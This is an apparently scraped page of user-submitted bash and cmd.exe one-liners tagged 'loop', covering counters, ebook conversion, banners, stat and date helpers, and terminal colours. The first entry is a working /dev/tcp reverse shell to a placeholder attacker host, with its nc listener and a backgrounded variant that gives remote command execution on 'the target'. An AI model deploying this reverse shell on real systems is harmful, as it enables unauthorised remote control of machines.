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Commands tagged loop from sorted by
Terminal - Commands tagged loop - 26 results
exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read
8

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

[ $V ] || : $((V++)) && echo $V
2012-06-15 16:48:03
User: axelabs
Functions: echo
2

I just found another use for the builtin ':' bash command. It increments counters for me in a loop if a certain condition is met...

: [arguments]

No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned.

for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize --enable-heuristics;done
while notify-send "`acpi -t`"; do sleep 300; done
2011-07-05 18:22:06
Functions: sleep
1

Use acpi and notify-send to report current temperature every five minutes.

Works best in a shell script run at startup. acpi is called for temperature and fed to notify-send for a tooltip. After waiting five minutes, it will start over.

while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
2011-07-02 06:47:25
User: c0de
Functions: acpi ping read sleep
2

works best in a shell script run at startup. It will ping localhost once and output to null, after it does that, acpi is called for temperature in fahrenheit and piped through to another loop that feeds notify-send for a tooltip. After waiting five minutes, it will start over.

for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done
2011-04-19 15:36:27
User: rsimpson
1

all ebook-convert -options are optional. all you really need to pass ebook-convert is the incoming and outgoing names, with extensions.

Has been tested on Ubuntu 10.10

while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
2011-02-13 18:52:39
User: lkjoel
Functions: banner echo read sleep
-3

Change YOUR TEXT HERE to the text you want.

On figlet -f banner, you can change it to any figlet font you have installed.

One variant for Star Wars fans could be this:

while [ 1 ]; do clear; echo 'Star Wars' | figlet -f starwars -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done

NOTICE: You need to install figlet.

On Ubuntu, this command is:

sudo apt-get install figlet

On Debian, this command is:

aptitude install figlet
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done
2010-09-01 15:09:59
User: slashdot
Functions: cat
0

At times I find that I need to loop through a file where each value that I need to do something with is not on a separate line, but rather separated with a ":" or a ";". In this instance, I create a loop within which I define 'IFS' to be something other than a whitespace character. In this example, I iterate through a file which only has one line, and several fields separated with ":". The counter helps me define how many times I want to repeat the loop.

setlocal enabledelayedexpansion
2010-08-10 12:26:43
User: Marco
-1

Usually the MS-DOS cmd.exe processes in the whole FOR loop as one command and expands each var like %varname% in before (except the loop var of course).

This command enables expansion of other vars than only the loop var during the FOR loop. The syntax of the var to expand is then !varname! inside the FOR loop.

Use command

endlocal

to end the setlocal command.

E.g. (only works from batch files, not from commandline directly):

@echo off

setlocal enabledelayedexpansion

FOR %%A IN (*) DO (

set file=%%A

echo !file!

)

endlocal

FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
2010-08-10 12:12:27
User: Marco
Functions: echo
-2

Loops over array of a system var, splits its values and puts the values into %A, %B, %C, %D, and so on.

Create array before, like

set ARRAY[0]=test1,100

and

set ARRAY[1]=test2,200

Be sure to replace %A, %B, etc. with %%A, %%B, etc. when using this from inside of batch files.

FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
2010-08-10 12:08:26
User: Marco
Functions: echo
-3

This command loops over all indexes of the system variable array ARRAY[] and puts its content into %A.

Create this array before, e.g. by

set ARRAY[0]=test1

and

set ARRAY[1]=test2

For using inside of a batch file, write %%A instead of %A.

find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done
2010-08-10 11:45:31
User: Marco
Functions: echo find read
2

This is a command template for achiving the following:

* loop over files --> find -name "" | while read file; do ...; done

* output progress --> echo -n .

* execute some command on each file and save output for later usage --> output=$()

* if command failed, open subshell and echo newline --> || (echo;...;...;)

* echo output of command --> echo "$output"

for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
2010-07-14 14:55:31
User: cout
Functions: host ssh
1

Ssh to host1, host2, and host3, executing on each host and saving the output in {host}.log.

I don't have the 'parallel' command installed, otherwise it sounds interesting and less cryptic.

for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
2010-06-11 23:31:03
User: AskApache
Functions: column read sed
3

This shows every bit of information that stat can get for any file, dir, fifo, etc. It's great because it also shows the format and explains it for each format option.

If you just want stat help, create this handy alias 'stath' to display all format options with explanations.

alias stath="stat --h|sed '/Th/,/NO/!d;/%/!d'"

To display on 2 lines:

( F=/etc/screenrc N=c IFS=$'\n'; for L in $(sed 's/%Z./%Z\n/'<<<`stat --h|sed -n '/^ *%/s/^ *%\(.\).*$/\1:%\1/p'`); do G=$(echo "stat -$N '$L' \"$F\""); eval $G; N=fc;done; )

For a similarly powerful stat-like function optimized for pretty output (and can sort by any field), check out the "lll" function

http://www.commandlinefu.com/commands/view/5815/advanced-ls-output-using-find-for-formattedsortable-file-stat-info

From my .bash_profile ->

http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html

nmap -sP 192.168.1.0/24
2010-06-05 14:48:37
User: sdadh01
21

Works on any machine with nmap installed. Previous version does not work on machines without "seq".

Also works on subnets of any size.

for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
21

If you have used bash for any scripting, you've used the date command alot. It's perfect for using as a way to create filename's dynamically within aliases,functions, and commands like below.. This is actually an update to my first alias, since a few commenters (below) had good observations on what was wrong with my first command.

# creating a date-based ssh-key for askapache.github.com

ssh-keygen -f ~/.ssh/`date +git-$USER@$HOSTNAME-%m-%d-%g` -C 'webmaster@askapache.com' # /home/gpl/.ssh/git-gplnet@askapache.github.com-04-22-10

# create a tar+gzip backup of the current directory

tar -czf $(date +$HOME/.backups/%m-%d-%g-%R-`sed -u 's/\//#/g' <<< $PWD`.tgz) . # tar -czf /home/gpl/.backups/04-22-10-01:13-#home#gpl#.rr#src.tgz .

I personally find myself having to reference

date --help

quite a bit as a result. So this nice alias saves me a lot of time. This is one bdash mofo. Works in sh and bash (posix), but will likely need to be changed for other shells due to the parameter substitution going on.. Just extend the sed command, I prefer sed to pretty much everything anyways.. but it's always preferable to put in the extra effort to go for as much builtin use as you can. Otherwise it's not a top one-liner, it's a lazyboy recliner.

Here's the old version:

alias dateh='date --help|sed "/^ *%%/,/^ *%Z/!d;s/ \+/ /g"|while read l;do date "+ %${l/% */}_${l/% */}_${l#* }";done|column -s_ -t'

This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ]

find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
2010-02-01 21:09:57
User: 4fthawaiian
Functions: find sed xargs
1

Changed out the for loop for an xargs. It's a tad shorter, and a tad cleaner.

for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
2010-02-01 17:16:37
User: allrightname
Functions: sed
0

Recursively replace a string in files with lines matching string. Lines with the string "group name" will have the first > character replaced while other > characters on other lines will be ignored.

while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
2009-12-14 07:40:07
User: craigds
Functions: banner echo read sleep
10

Displays a scrolling banner which loops until you hit Ctrl-C to terminate it.

Make sure you finish your banner message with a space so it will loop nicely.

sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
12

Very useful in shell scripts because you can run a task nicely in the background using job-control and output progress until it completes.

Here's an example of how I use it in backup scripts to run gpg in the background to encrypt an archive file (which I create in this same way). $! is the process ID of the last run command, which is saved here as the variable PI, then sleeper is called with the process id of the gpg task (PI), and sleeper is also specified to output : instead of the default . every 3 seconds instead of the default 1. So a shorter version would be sleeper $!;

The wait is also used here, though it may not be needed on your system.

echo ">>> ENCRYPTING SQL BACKUP" gpg --output archive.tgz.asc --encrypt archive.tgz 1>/dev/null & PI=$!; sleeper $PI ":" 3; wait $PI && rm archive.tgz &>/dev/null

Previously to get around the $! not always being available, I would instead check for the existance of the process ID by checking if the directory /proc/$PID existed, but not everyone uses proc anymore. That version is currently the one at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html but I plan on upgrading to this new version soon.

declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
1

I was looking for the fastest way to create a bunch of ansi escapes for use in echo -e commands throughout a lot of my shell scripts. This is what I came up with, and I actually stick that loop command in a function and then just call that at the beginning of my scripts to not clutter the environment with these escape codes, which can wreck havok on my terminal when I'm dumping the environment. More of a cool way to store escape ansi codes in an array. You can echo them like:

echo -e "${CC[15]}This text is black on bright green background."

I usually just use with a function:

# setup_colors - Adds colors to array CC for global use # 30 - Black, 31 - Red, 32 - Green, 33 - Yellow, 34 - Blue, 35 - Magenta, 36 - Blue/Green, 37 - White, 30/42 - Black on Green '30\;42' function setup_colors(){ declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7));CC[$i]="\033[1;3${i}m";CC[$ii]="\033[0;3${i}m";done;CC[15]="\033[30;42m"; export R='\033[0;00m';export X="\033[1;37m"; }; export -f setup_colors

CC[15] has a background of bright green which is why it is separate. R resets everything, and X is my default font of bright white.

CC[15]="\033[30;42m"; R=$'\033[0;00m'; X=$'\033[1;37m'

Those are just my favorite colors that I often use in my scripts. You can test which colors by running

for i in $(seq 0 $((${#CC[@]} - 1))); do echo -e "${CC[$i]}[$i]\n$R"; done

See: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html for more usage.

for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done
2009-09-19 06:43:57
User: AskApache
Functions: echo
1

Finds executable and existing directories in your path that can be useful if migrating a profile script to another system. This is faster and smaller than any other method due to using only bash builtin commands.

See also:

+ http://www.commandlinefu.com/commands/view/743/list-all-execs-in-path-usefull-for-grepping-the-resulting-list

+ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html